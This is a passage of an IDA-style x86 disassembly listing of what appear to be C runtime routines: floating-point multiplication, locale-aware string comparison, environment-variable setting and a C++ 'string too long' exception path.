var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 24h
push ebx
mov ebx, [ebp+arg_4]
push esi
mov esi, [ebp+arg_0]
mov cx, [ebx+0Ah]
xor eax, eax
push edi
mov [ebp+var_14], eax
mov [ebp+var_24], eax
mov [ebp+var_20], eax
mov [ebp+var_1C], eax
mov ax, [esi+0Ah]
mov edi, ecx
mov edx, 7FFFh
xor edi, eax
and eax, edx
and ecx, edx
and edi, 8000h
cmp ax, 7FFFh
lea edx, [ecx+eax]
mov [ebp+arg_0], edx
jnb loc_41F6DC
cmp cx, 7FFFh
jnb loc_41F6DC
cmp dx, 0BFFDh
ja loc_41F6DC
cmp dx, 3FBFh
ja short loc_41F545
xor eax, eax
jmp short loc_41F57F
; ---------------------------------------------------------------------------
loc_41F545: ; CODE XREF: sub_41F4DC+63j
test ax, ax
mov edx, 7FFFFFFFh
jnz short loc_41F567
inc [ebp+arg_0]
test [esi+8], edx
jnz short loc_41F567
xor eax, eax
cmp [esi+4], eax
jnz short loc_41F569
cmp [esi], eax
jnz short loc_41F569
jmp loc_41F6D6
; ---------------------------------------------------------------------------
loc_41F567: ; CODE XREF: sub_41F4DC+71j
; sub_41F4DC+79j
xor eax, eax
loc_41F569: ; CODE XREF: sub_41F4DC+80j
; sub_41F4DC+84j
cmp cx, ax
jnz short loc_41F58C
inc [ebp+arg_0]
test [ebx+8], edx
jnz short loc_41F58C
cmp [ebx+4], eax
jnz short loc_41F58C
cmp [ebx], eax
jnz short loc_41F58C
loc_41F57F: ; CODE XREF: sub_41F4DC+67j
mov [esi+8], eax
mov [esi+4], eax
mov [esi], eax
jmp loc_41F6F7
; ---------------------------------------------------------------------------
loc_41F58C: ; CODE XREF: sub_41F4DC+90j
; sub_41F4DC+98j ...
mov [ebp+var_10], eax
lea eax, [ebp+var_20]
mov [ebp+var_4], eax
mov [ebp+arg_4], 5
loc_41F59C: ; CODE XREF: sub_41F4DC+122j
mov eax, [ebp+var_10]
add eax, eax
cmp [ebp+arg_4], 0
jle short loc_41F5F0
add eax, esi
lea ecx, [ebx+8]
mov [ebp+var_8], eax
mov eax, [ebp+arg_4]
mov [ebp+var_C], ecx
mov [ebp+var_18], eax
loc_41F5B8: ; CODE XREF: sub_41F4DC+112j
mov eax, [ebp+var_8]
mov ecx, [ebp+var_C]
movzx eax, word ptr [eax]
movzx ecx, word ptr [ecx]
imul eax, ecx
mov ecx, [ebp+var_4]
add ecx, 0FFFFFFFCh
push ecx
push eax
push dword ptr [ecx]
call sub_41E972
add esp, 0Ch
test eax, eax
jz short loc_41F5E3
mov eax, [ebp+var_4]
inc word ptr [eax]
loc_41F5E3: ; CODE XREF: sub_41F4DC+FFj
add [ebp+var_8], 2
sub [ebp+var_C], 2
dec [ebp+var_18]
jnz short loc_41F5B8
loc_41F5F0: ; CODE XREF: sub_41F4DC+C9j
add [ebp+var_4], 2
inc [ebp+var_10]
dec [ebp+arg_4]
cmp [ebp+arg_4], 0
jg short loc_41F59C
add [ebp+arg_0], 0C002h
cmp word ptr [ebp+arg_0], 0
jle short loc_41F633
loc_41F60E: ; CODE XREF: sub_41F4DC+14Ej
test byte ptr [ebp+var_1C+3], 80h
jnz short loc_41F62C
lea eax, [ebp+var_24]
push eax
call sub_41E9F1
add [ebp+arg_0], 0FFFFh
pop ecx
cmp word ptr [ebp+arg_0], 0
jg short loc_41F60E
loc_41F62C: ; CODE XREF: sub_41F4DC+136j
cmp word ptr [ebp+arg_0], 0
jg short loc_41F66C
loc_41F633: ; CODE XREF: sub_41F4DC+130j
add [ebp+arg_0], 0FFFFh
cmp word ptr [ebp+arg_0], 0
jge short loc_41F66C
movsx eax, word ptr [ebp+arg_0]
neg eax
add [ebp+arg_0], eax
mov ebx, eax
loc_41F64C: ; CODE XREF: sub_41F4DC+184j
test byte ptr [ebp+var_24], 1
jz short loc_41F655
inc [ebp+var_14]
loc_41F655: ; CODE XREF: sub_41F4DC+174j
lea eax, [ebp+var_24]
push eax
call sub_41EA1F
dec ebx
pop ecx
jnz short loc_41F64C
cmp [ebp+var_14], 0
jz short loc_41F66C
or byte ptr [ebp+var_24], 1
loc_41F66C: ; CODE XREF: sub_41F4DC+155j
; sub_41F4DC+163j ...
cmp word ptr [ebp+var_24], 8000h
ja short loc_41F683
mov eax, [ebp+var_24]
and eax, 1FFFFh
cmp eax, 18000h
jnz short loc_41F6B8
loc_41F683: ; CODE XREF: sub_41F4DC+196j
cmp [ebp+var_24+2], 0FFFFFFFFh
jnz short loc_41F6B5
and [ebp+var_24+2], 0
cmp [ebp+var_20+2], 0FFFFFFFFh
jnz short loc_41F6B0
and [ebp+var_20+2], 0
cmp word ptr [ebp+var_1C+2], 0FFFFh
jnz short loc_41F6AA
inc [ebp+arg_0]
mov word ptr [ebp+var_1C+2], 8000h
jmp short loc_41F6B8
; ---------------------------------------------------------------------------
loc_41F6AA: ; CODE XREF: sub_41F4DC+1C1j
inc word ptr [ebp+var_1C+2]
jmp short loc_41F6B8
; ---------------------------------------------------------------------------
loc_41F6B0: ; CODE XREF: sub_41F4DC+1B5j
inc [ebp+var_20+2]
jmp short loc_41F6B8
; ---------------------------------------------------------------------------
loc_41F6B5: ; CODE XREF: sub_41F4DC+1ABj
inc [ebp+var_24+2]
loc_41F6B8: ; CODE XREF: sub_41F4DC+1A5j
; sub_41F4DC+1CCj ...
mov eax, [ebp+arg_0]
cmp ax, 7FFFh
jnb short loc_41F6DC
mov cx, word ptr [ebp+var_24+2]
or eax, edi
mov [esi], cx
mov ecx, [ebp+var_20]
mov [esi+2], ecx
mov ecx, [ebp+var_1C]
mov [esi+6], ecx
loc_41F6D6: ; CODE XREF: sub_41F4DC+86j
mov [esi+0Ah], ax
jmp short loc_41F6F7
; ---------------------------------------------------------------------------
loc_41F6DC: ; CODE XREF: sub_41F4DC+42j
; sub_41F4DC+4Dj ...
neg di
sbb edi, edi
and dword ptr [esi+4], 0
and edi, 80000000h
add edi, 7FFF8000h
and dword ptr [esi], 0
mov [esi+8], edi
loc_41F6F7: ; CODE XREF: sub_41F4DC+ABj
; sub_41F4DC+1FEj
pop edi
pop esi
pop ebx
leave
retn
sub_41F4DC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F6FC proc near ; CODE XREF: sub_41EB13+440p
; sub_41EFE4+14Cp
var_C = byte ptr -0Ch
var_A = dword ptr -0Ah
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
mov ebx, offset dword_438820
xor ecx, ecx
sub ebx, 60h
cmp [ebp+arg_4], ecx
jz short loc_41F775
jge short loc_41F724
mov eax, [ebp+arg_4]
mov ebx, offset dword_438980
neg eax
mov [ebp+arg_4], eax
sub ebx, 60h
loc_41F724: ; CODE XREF: sub_41F6FC+16j
cmp [ebp+arg_8], ecx
jnz short loc_41F72F
mov eax, [ebp+arg_0]
mov [eax], cx
loc_41F72F: ; CODE XREF: sub_41F6FC+2Bj
cmp [ebp+arg_4], ecx
jz short loc_41F775
push esi
push edi
loc_41F736: ; CODE XREF: sub_41F6FC+75j
mov eax, [ebp+arg_4]
add ebx, 54h
sar [ebp+arg_4], 3
and eax, 7
cmp eax, ecx
jz short loc_41F76E
lea eax, [eax+eax*2]
cmp word ptr [ebx+eax*4], 8000h
lea esi, [ebx+eax*4]
jb short loc_41F761
lea edi, [ebp+var_C]
movsd
movsd
movsd
dec [ebp+var_A]
lea esi, [ebp+var_C]
loc_41F761: ; CODE XREF: sub_41F6FC+57j
push esi
push [ebp+arg_0]
call sub_41F4DC
pop ecx
pop ecx
xor ecx, ecx
loc_41F76E: ; CODE XREF: sub_41F6FC+49j
cmp [ebp+arg_4], ecx
jnz short loc_41F736
pop edi
pop esi
loc_41F775: ; CODE XREF: sub_41F6FC+14j
; sub_41F6FC+36j
pop ebx
leave
retn
sub_41F6FC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F778 proc near ; CODE XREF: sub_41F3E9+5Ep
; sub_41FC29+18p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cmp [ebp+arg_8], 0
jnz short loc_41F785
xor eax, eax
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41F785: ; CODE XREF: sub_41F778+7j
push ds:dword_46A8A4
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_8]
push [ebp+arg_0]
push 1
push ds:dword_46AAC4
call sub_41F825
add esp, 1Ch
test eax, eax
jnz short loc_41F7B2
mov eax, 7FFFFFFFh
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41F7B2: ; CODE XREF: sub_41F778+31j
add eax, 0FFFFFFFEh
pop ebp
retn
sub_41F778 endp
; =============== S U B R O U T I N E =======================================
sub_41F7B7 proc near ; CODE XREF: sub_41F3E9+1Ep
; seg000:0041FAFDp
var_4 = dword ptr -4
push ecx
push ebx
push ebp
push esi
mov esi, ds:dword_4694A4
push edi
xor edi, edi
mov eax, [esi]
cmp eax, edi
jz short loc_41F818
mov ebx, ds:dword_421138
loc_41F7D0: ; CODE XREF: sub_41F7B7+5Fj
push edi
push edi
push edi
push edi
push 0FFFFFFFFh
push eax
push edi
push 1
call ebx ; WideCharToMultiByte
mov ebp, eax
cmp ebp, edi
jz short loc_41F820
push ebp
call sub_415DA9
cmp eax, edi
pop ecx
mov [esp+14h+var_4], eax
jz short loc_41F820
push edi
push edi
push ebp
push eax
push 0FFFFFFFFh
push dword ptr [esi]
push edi
push 1
call ebx ; WideCharToMultiByte
test eax, eax
jz short loc_41F820
push edi
push [esp+18h+var_4]
call loc_41FAA2
mov eax, [esi+4]
add esi, 4
pop ecx
cmp eax, edi
pop ecx
jnz short loc_41F7D0
loc_41F818: ; CODE XREF: sub_41F7B7+11j
xor eax, eax
loc_41F81A: ; CODE XREF: sub_41F7B7+6Cj
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_41F820: ; CODE XREF: sub_41F7B7+29j
; sub_41F7B7+38j ...
or eax, 0FFFFFFFFh
jmp short loc_41F81A
sub_41F7B7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F825 proc near ; CODE XREF: sub_41F778+27p
var_3C = dword ptr -3Ch
var_36 = byte ptr -36h
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_421C20
push offset sub_41CDE8
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
push ebx
push esi
push edi
mov [ebp+var_18], esp
xor ebx, ebx
cmp ds:dword_469758, ebx
push 1
pop edi
jnz short loc_41F898
push edi
mov eax, offset dword_421870
push eax
push edi
push eax
push ebx
push ebx
call ds:dword_421008 ; CompareStringW
test eax, eax
jz short loc_41F875
mov ds:dword_469758, edi
jmp short loc_41F898
; ---------------------------------------------------------------------------
loc_41F875: ; CODE XREF: sub_41F825+46j
push edi
mov eax, offset dword_438FB4
push eax
push edi
push eax
push ebx
push ebx
call ds:dword_42100C ; CompareStringA
test eax, eax
jz loc_41FA8E
mov ds:dword_469758, 2
loc_41F898: ; CODE XREF: sub_41F825+31j
; sub_41F825+4Ej
mov esi, [ebp+arg_C]
cmp esi, ebx
jle short loc_41F8AF
push esi
push [ebp+arg_8]
call sub_41BF75
pop ecx
pop ecx
mov esi, eax
mov [ebp+arg_C], esi
loc_41F8AF: ; CODE XREF: sub_41F825+78j
cmp [ebp+arg_14], ebx
jle short loc_41F8C4
push [ebp+arg_14]
push [ebp+arg_10]
call sub_41BF75
pop ecx
pop ecx
mov [ebp+arg_14], eax
loc_41F8C4: ; CODE XREF: sub_41F825+8Dj
mov eax, ds:dword_469758
cmp eax, 2
jnz short loc_41F8E9
push [ebp+arg_14]
push [ebp+arg_10]
push esi
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call ds:dword_42100C ; CompareStringA
jmp loc_41FA90
; ---------------------------------------------------------------------------
loc_41F8E9: ; CODE XREF: sub_41F825+A7j
cmp eax, edi
jnz loc_41FA8E
cmp [ebp+arg_18], ebx
jnz short loc_41F8FE
mov eax, ds:dword_469518
mov [ebp+arg_18], eax
loc_41F8FE: ; CODE XREF: sub_41F825+CFj
cmp esi, ebx
jz short loc_41F90B
cmp [ebp+arg_14], ebx
jnz loc_41F9A3
loc_41F90B: ; CODE XREF: sub_41F825+DBj
cmp esi, [ebp+arg_14]
jnz short loc_41F918
loc_41F910: ; CODE XREF: sub_41F825+13Cj
; sub_41F825+16Dj
push 2
loc_41F912: ; CODE XREF: sub_41F825+146j
pop eax
jmp loc_41FA90
; ---------------------------------------------------------------------------
loc_41F918: ; CODE XREF: sub_41F825+E9j
cmp [ebp+arg_14], edi
jle short loc_41F924
loc_41F91D: ; CODE XREF: sub_41F825+151j
; sub_41F825+159j ...
mov eax, edi
jmp loc_41FA90
; ---------------------------------------------------------------------------
loc_41F924: ; CODE XREF: sub_41F825+F6j
cmp esi, edi
jg short loc_41F969
lea eax, [ebp+var_3C]
push eax
push [ebp+arg_18]
call near ptr 3D0000h
mov ecx, 840FC085h
push ecx
add [eax], eax
add [ebx], bh
rep jle short loc_41F96D
cmp [ebp+var_3C], 2
jb short loc_41F969
lea eax, [ebp+var_36]
cmp [ebp+var_36], bl
jz short loc_41F969
loc_41F94F: ; CODE XREF: sub_41F825+142j
mov dl, [eax+1]
cmp dl, bl
jz short loc_41F969
mov ecx, [ebp+arg_8]
mov cl, [ecx]
cmp cl, [eax]
jb short loc_41F963
cmp cl, dl
jbe short loc_41F910
loc_41F963: ; CODE XREF: sub_41F825+138j
inc eax
inc eax
cmp [eax], bl
jnz short loc_41F94F
loc_41F969: ; CODE XREF: sub_41F825+101j
; sub_41F825+120j ...
push 3
jmp short loc_41F912
; ---------------------------------------------------------------------------
loc_41F96D: ; CODE XREF: sub_41F825+119j
cmp [ebp+arg_14], ebx
jle short loc_41F9A3
cmp [ebp+var_3C], 2
jb short loc_41F91D
lea eax, [ebp+var_36]
cmp [ebp+var_36], bl
jz short loc_41F91D
loc_41F980: ; CODE XREF: sub_41F825+177j
mov dl, [eax+1]
cmp dl, bl
jz short loc_41F91D
mov ecx, [ebp+arg_10]
mov cl, [ecx]
cmp cl, [eax]
jb short loc_41F998
cmp cl, dl
jbe loc_41F910
loc_41F998: ; CODE XREF: sub_41F825+169j
inc eax
inc eax
cmp [eax], bl
jnz short loc_41F980
jmp loc_41F91D
; ---------------------------------------------------------------------------
loc_41F9A3: ; CODE XREF: sub_41F825+E0j
; sub_41F825+14Bj
push ebx
push ebx
push esi
push [ebp+arg_8]
push 9
push [ebp+arg_18]
call ds:dword_421064 ; MultiByteToWideChar
mov [ebp+var_1C], eax
cmp eax, ebx
jz loc_41FA8E
mov [ebp+var_4], ebx
add eax, eax
add eax, 3
and al, 0FCh
call sub_415D50
mov [ebp+var_18], esp
mov eax, esp
mov [ebp+var_24], eax
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_41F9F2
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor ebx, ebx
mov [ebp+var_24], ebx
or [ebp+var_4], 0FFFFFFFFh
mov esi, [ebp+arg_C]
push 1
pop edi
loc_41F9F2: ; CODE XREF: sub_41F825+1B5j
cmp [ebp+var_24], ebx
jz loc_41FA8E
push [ebp+var_1C]
push [ebp+var_24]
push esi
push [ebp+arg_8]
push edi
push [ebp+arg_18]
mov esi, ds:dword_421064
call esi ; MultiByteToWideChar
test eax, eax
jz short loc_41FA8E
push ebx
push ebx
push [ebp+arg_14]
push [ebp+arg_10]
push 9
push [ebp+arg_18]
call esi ; MultiByteToWideChar
mov esi, eax
mov [ebp+var_20], esi
cmp esi, ebx
jz short loc_41FA8E
mov [ebp+var_4], edi
lea eax, [esi+esi]
add eax, 3
and al, 0FCh
call sub_415D50
mov [ebp+var_18], esp
mov edi, esp
mov [ebp+var_28], edi
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_41FA5D
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor ebx, ebx
xor edi, edi
or [ebp+var_4], 0FFFFFFFFh
mov esi, [ebp+var_20]
loc_41FA5D: ; CODE XREF: sub_41F825+224j
cmp edi, ebx
jz short loc_41FA8E
push esi
push edi
push [ebp+arg_14]
push [ebp+arg_10]
push 1
push [ebp+arg_18]
call ds:dword_421064 ; MultiByteToWideChar
test eax, eax
jz short loc_41FA8E
push esi
push edi
push [ebp+var_1C]
push [ebp+var_24]
push [ebp+arg_4]
push [ebp+arg_0]
call ds:dword_421008 ; CompareStringW
jmp short loc_41FA90
; ---------------------------------------------------------------------------
loc_41FA8E: ; CODE XREF: sub_41F825+63j
; sub_41F825+C6j ...
xor eax, eax
loc_41FA90: ; CODE XREF: sub_41F825+BFj
; sub_41F825+EEj ...
lea esp, [ebp-4Ch]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_41F825 endp
; ---------------------------------------------------------------------------
loc_41FAA2: ; CODE XREF: sub_41F7B7+50p
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
xor edi, edi
cmp [ebp+8], edi
jz short loc_41FB06
push 3Dh
push dword ptr [ebp+8]
call sub_41FCE8
mov esi, eax
pop ecx
cmp esi, edi
pop ecx
mov [ebp-8], esi
jz short loc_41FB06
cmp [ebp+8], esi
jz short loc_41FB06
mov eax, ds:dword_46949C
xor ebx, ebx
cmp [esi+1], bl
setz bl
cmp eax, ds:dword_4694A0
jnz short loc_41FAEC
push eax
call sub_41FC81
pop ecx
mov ds:dword_46949C, eax
loc_41FAEC: ; CODE XREF: seg000:0041FADEj
cmp eax, edi
jnz short loc_41FB44
cmp [ebp+0Ch], edi
jz short loc_41FB0E
cmp ds:dword_4694A4, edi
jz short loc_41FB0E
call sub_41F7B7
test eax, eax
jz short loc_41FB44
loc_41FB06: ; CODE XREF: seg000:0041FAAFj
; seg000:0041FAC4j ...
or eax, 0FFFFFFFFh
loc_41FB09: ; CODE XREF: seg000:0041FC24j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_41FB0E: ; CODE XREF: seg000:0041FAF3j
; seg000:0041FAFBj
cmp ebx, edi
jnz loc_41FC22
push 4
call sub_415DA9
cmp eax, edi
pop ecx
mov ds:dword_46949C, eax
jz short loc_41FB06
mov [eax], edi
cmp ds:dword_4694A4, edi
jnz short loc_41FB44
push 4
call sub_415DA9
cmp eax, edi
pop ecx
mov ds:dword_4694A4, eax
jz short loc_41FB06
mov [eax], edi
loc_41FB44: ; CODE XREF: seg000:0041FAEEj
; seg000:0041FB04j ...
sub esi, [ebp+8]
mov edi, ds:dword_46949C
mov [ebp-4], edi
push esi
push dword ptr [ebp+8]
call sub_41FC29
mov esi, eax
pop ecx
test esi, esi
pop ecx
jl short loc_41FBA4
cmp dword ptr [edi], 0
jz short loc_41FBA4
test ebx, ebx
jz short loc_41FB9C
push dword ptr [edi+esi*4]
lea edi, [edi+esi*4]
call sub_415E1D
pop ecx
loc_41FB76: ; CODE XREF: seg000:0041FB84j
cmp dword ptr [edi], 0
jz short loc_41FB86
mov eax, [edi+4]
inc esi
mov [edi], eax
add edi, 4
jmp short loc_41FB76
; ---------------------------------------------------------------------------
loc_41FB86: ; CODE XREF: seg000:0041FB79j
mov eax, esi
shl eax, 2
push eax
push dword ptr [ebp-4]
call sub_4174BF
pop ecx
test eax, eax
pop ecx
jz short loc_41FBD6
jmp short loc_41FBD1
; ---------------------------------------------------------------------------
loc_41FB9C: ; CODE XREF: seg000:0041FB68j
mov eax, [ebp+8]
mov [edi+esi*4], eax
jmp short loc_41FBD6
; ---------------------------------------------------------------------------
loc_41FBA4: ; CODE XREF: seg000:0041FB5Fj
; seg000:0041FB64j
test ebx, ebx
jnz short loc_41FC22
test esi, esi
jge short loc_41FBAE
neg esi
loc_41FBAE: ; CODE XREF: seg000:0041FBAAj
lea eax, ds:8[esi*4]
push eax
push edi
call sub_4174BF
pop ecx
test eax, eax
pop ecx
jz loc_41FB06
mov ecx, [ebp+8]
mov [eax+esi*4], ecx
and dword ptr [eax+esi*4+4], 0
loc_41FBD1: ; CODE XREF: seg000:0041FB9Aj
mov ds:dword_46949C, eax
loc_41FBD6: ; CODE XREF: seg000:0041FB98j
; seg000:0041FBA2j
cmp dword ptr [ebp+0Ch], 0
jz short loc_41FC22
push dword ptr [ebp+8]
call sub_415CD0
inc eax
inc eax
push eax
call sub_415DA9
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_41FC22
push dword ptr [ebp+8]
push esi
call sub_415BE0
mov eax, esi
pop ecx
sub eax, [ebp+8]
pop ecx
add eax, [ebp-8]
and byte ptr [eax], 0
inc eax
neg ebx
sbb ebx, ebx
not ebx
and ebx, eax
push ebx
push esi
call near ptr 3D0000h
adc byte ptr [esi-18h], 0FCh
popa
; ---------------------------------------------------------------------------
db 0FFh
db 0FFh, 59h
; ---------------------------------------------------------------------------
loc_41FC22: ; CODE XREF: seg000:0041FB10j
; seg000:0041FBA6j ...
xor eax, eax
jmp loc_41FB09
; =============== S U B R O U T I N E =======================================
sub_41FC29 proc near ; CODE XREF: seg000:0041FB54p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, ds:dword_46949C
push edi
mov eax, [esi]
test eax, eax
jz short loc_41FC64
mov edi, [esp+8+arg_4]
loc_41FC3B: ; CODE XREF: sub_41FC29+39j
push edi
push eax
push [esp+10h+arg_0]
call sub_41F778
add esp, 0Ch
test eax, eax
jnz short loc_41FC5A
mov eax, [esi]
mov al, [eax+edi]
cmp al, 3Dh
jz short loc_41FC74
test al, al
jz short loc_41FC74
loc_41FC5A: ; CODE XREF: sub_41FC29+22j
mov eax, [esi+4]
add esi, 4
test eax, eax
jnz short loc_41FC3B
loc_41FC64: ; CODE XREF: sub_41FC29+Cj
mov eax, esi
sub eax, ds:dword_46949C
sar eax, 2
neg eax
loc_41FC71: ; CODE XREF: sub_41FC29+56j
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_41FC74: ; CODE XREF: sub_41FC29+2Bj
; sub_41FC29+2Fj
mov eax, esi
sub eax, ds:dword_46949C
sar eax, 2
jmp short loc_41FC71
sub_41FC29 endp
; =============== S U B R O U T I N E =======================================
sub_41FC81 proc near ; CODE XREF: seg000:0041FAE1p
arg_0 = dword ptr 4
push edi
mov edi, [esp+4+arg_0]
xor ecx, ecx
test edi, edi
jnz short loc_41FC90
xor eax, eax
pop edi
retn
; ---------------------------------------------------------------------------
loc_41FC90: ; CODE XREF: sub_41FC81+9j
cmp dword ptr [edi], 0
lea eax, [edi+4]
jz short loc_41FCA2
loc_41FC98: ; CODE XREF: sub_41FC81+1Fj
mov edx, [eax]
inc ecx
add eax, 4
test edx, edx
jnz short loc_41FC98
loc_41FCA2: ; CODE XREF: sub_41FC81+15j
push ebx
push ebp
lea eax, ds:4[ecx*4]
push esi
push eax
call sub_415DA9
mov esi, eax
pop ecx
test esi, esi
mov ebp, esi
jnz short loc_41FCC3
push 9
call sub_417BCE
pop ecx
loc_41FCC3: ; CODE XREF: sub_41FC81+38j
mov eax, [edi]
mov ebx, edi
loc_41FCC7: ; CODE XREF: sub_41FC81+5Bj
test eax, eax
jz short loc_41FCDE
push eax
add ebx, 4
call sub_41FD5B
mov [esi], eax
mov eax, [ebx]
pop ecx
add esi, 4
jmp short loc_41FCC7
; ---------------------------------------------------------------------------
loc_41FCDE: ; CODE XREF: sub_41FC81+48j
and dword ptr [esi], 0
mov eax, ebp
pop esi
pop ebp
pop ebx
pop edi
retn
sub_41FC81 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41FCE8 proc near ; CODE XREF: seg000:0041FAB6p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
cmp ds:dword_46A8BC, 0
jnz short loc_41FD03
push [ebp+arg_4]
push [ebp+arg_0]
call sub_417060
pop ecx
pop ecx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41FD03: ; CODE XREF: sub_41FCE8+Aj
mov ecx, [ebp+arg_0]
loc_41FD06: ; CODE XREF: sub_41FCE8+56j
movzx ax, byte ptr [ecx]
test ax, ax
jz short loc_41FD49
movzx edx, al
test ds:byte_46A9C1[edx], 4
jz short loc_41FD35
mov dl, [ecx+1]
inc ecx
test dl, dl
jz short loc_41FD40
movzx eax, ax
movzx edx, dl
shl eax, 8
or eax, edx
cmp [ebp+arg_4], eax
jz short loc_41FD44
jmp short loc_41FD3D
; ---------------------------------------------------------------------------
loc_41FD35: ; CODE XREF: sub_41FCE8+31j
movzx edx, ax
cmp [ebp+arg_4], edx
jz short loc_41FD49
loc_41FD3D: ; CODE XREF: sub_41FCE8+4Bj
inc ecx
jmp short loc_41FD06
; ---------------------------------------------------------------------------
loc_41FD40: ; CODE XREF: sub_41FCE8+39j
xor eax, eax
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41FD44: ; CODE XREF: sub_41FCE8+49j
lea eax, [ecx-1]
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41FD49: ; CODE XREF: sub_41FCE8+25j
; sub_41FCE8+53j
movzx edx, ax
mov eax, [ebp+arg_4]
sub eax, edx
neg eax
sbb eax, eax
not eax
and eax, ecx
pop ebp
retn
sub_41FCE8 endp
; =============== S U B R O U T I N E =======================================
sub_41FD5B proc near ; CODE XREF: sub_40998E+21p
; sub_41FC81+4Ep
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
test esi, esi
jz short loc_41FD82
push esi
call sub_415CD0
inc eax
push eax
call sub_415DA9
pop ecx
test eax, eax
pop ecx
jz short loc_41FD82
push esi
push eax
call sub_415BE0
pop ecx
pop ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_41FD82: ; CODE XREF: sub_41FD5B+7j
; sub_41FD5B+1Aj
xor eax, eax
pop esi
retn
sub_41FD5B endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41FD90 proc near ; CODE XREF: sub_404B1E+15p
; sub_404B77+15p ...
mov eax, offset loc_420280
call sub_416438
sub esp, 30h
mov al, [ebp-0Dh]
push esi
push 0
lea ecx, [ebp-20h]
mov [ebp-20h], al
call sub_404D21
mov esi, offset aStringTooLong ; "string too long"
push esi
call sub_415CD0
pop ecx
push eax
push esi
lea ecx, [ebp-20h]
call sub_404D5D
and dword ptr [ebp-4], 0
lea eax, [ebp-20h]
push eax
lea ecx, [ebp-3Ch]
call sub_41FDEA
lea eax, [ebp-3Ch]
push offset dword_421F80
push eax
mov dword ptr [ebp-3Ch], offset off_421C3C
call sub_4201E9
pop esi
sub_41FD90 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_41FDEA proc near ; CODE XREF: sub_41FD90+3Fp
; sub_41FFBC+3Fp
mov eax, offset loc_420294
call sub_416438
push ecx
push ecx
push ebx
push esi
lea eax, [ebp-10h]
push edi
mov esi, ecx
push eax
mov [ebp-14h], esi
mov dword ptr [ebp-10h], offset byte_438F9C
call sub_42010E
mov ebx, [ebp+8]
and dword ptr [ebp-4], 0
lea edi, [esi+0Ch]
push 0
mov al, [ebx]
mov ecx, edi
mov [edi], al
call sub_404D21
push ds:dword_421248
mov ecx, edi
push 0
push ebx
call sub_404BCE
mov ecx, [ebp-0Ch]
mov dword ptr [esi], offset off_421C5C
mov eax, esi
pop edi
pop esi
pop ebx
mov large fs:0, ecx
leave
retn 4
sub_41FDEA endp
; =============== S U B R O U T I N E =======================================
sub_41FE4E proc near ; DATA XREF: seg001:00421C40o
; seg001:00421C60o ...
mov eax, [ecx+10h]
test eax, eax
jnz short locret_41FE5A
mov eax, offset dword_421258
locret_41FE5A: ; CODE XREF: sub_41FE4E+5j
retn
sub_41FE4E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41FE5B proc near ; DATA XREF: seg001:00421C64o
var_1C = byte ptr -1Ch
push ebp
mov ebp, esp
sub esp, 1Ch
push ecx
lea ecx, [ebp+var_1C]
call sub_41FED1
lea eax, [ebp+var_1C]
push offset dword_421FF0
push eax
call sub_4201E9
sub_41FE5B endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_41FE78 proc near ; CODE XREF: seg000:0041FEB8p
; DATA XREF: seg001:00421FF4o
mov eax, offset loc_4202A8
call sub_416438
push ecx
push esi
mov esi, ecx
mov [ebp-10h], esi
mov dword ptr [esi], offset off_421C5C
and dword ptr [ebp-4], 0
push 1
lea ecx, [esi+0Ch]
call sub_404D21
or dword ptr [ebp-4], 0FFFFFFFFh
mov ecx, esi
call sub_420195
mov ecx, [ebp-0Ch]
pop esi
mov large fs:0, ecx
leave
retn
sub_41FE78 endp
; ---------------------------------------------------------------------------
loc_41FEB5: ; DATA XREF: seg001:off_421C5Co
push esi
mov esi, ecx
call sub_41FE78
test byte ptr [esp+8], 1
jz short loc_41FECB
push esi
call sub_416457
pop ecx
